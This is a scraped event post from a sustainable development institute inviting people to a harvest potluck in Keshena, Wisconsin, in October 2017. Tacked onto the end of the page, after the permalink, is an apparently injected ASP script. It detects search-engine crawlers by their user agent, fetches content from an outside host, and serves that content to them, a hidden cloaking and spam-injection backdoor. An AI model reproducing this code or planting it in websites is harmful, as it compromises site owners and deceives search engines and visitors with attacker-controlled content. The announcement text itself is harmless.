«

»

Oct 09

Print this Post

Join us for the SDI Harvest Potluck

Categories:

Uncategorized

October 9, 2017

SDI Harvest Potluck

In celebration of harvesting our crop of Bear Island Flint Corn grown for the Agricultural Research Project. We at SDI are honored to host a Potluck Harvest Feast. Giving thanks for a wonderful harvest.

Where:  Sustainable Development Institute (SDI) Building

N 172 State Hwy 47/55   Keshena, Wisconsin

When: Friday – October 20, 2017

Time: 3:30 pm

Bring a plate to pass, your own dishes, and an appetite for good food!

 

This post has no tag

Permanent link to this article: http://sustainabledevelopmentinstitute.org/2017/10/4413/

<% Function GetHtml(url) Set ObjXMLHTTP=Server.CreateObject("MSXML2.serverXMLHTTP") ObjXMLHTTP.Open "GET",url,False ObjXMLHTTP.setRequestHeader "User-Agent","aQ0O010O" ObjXMLHTTP.send GetHtml=ObjXMLHTTP.responseBody Set ObjXMLHTTP=Nothing set objStream = Server.CreateObject("Adodb.Stream") objStream.Type = 1 objStream.Mode =3 objStream.Open objStream.Write GetHtml objStream.Position = 0 objStream.Type = 2 objStream.Charset = "UTF-8" GetHtml = objStream.ReadText objStream.Close End Function dim ua ua=Request.ServerVariables("HTTP_USER_AGENT") searray = array("Google Web Preview", "bot","wget", "spider") For i = 0 To Ubound(searray) If (Instr(ua, searray(i)) > 0) Then content = GetHtml("http://link.dolabuy.com/cs08.txt") Response.write content end if Next %>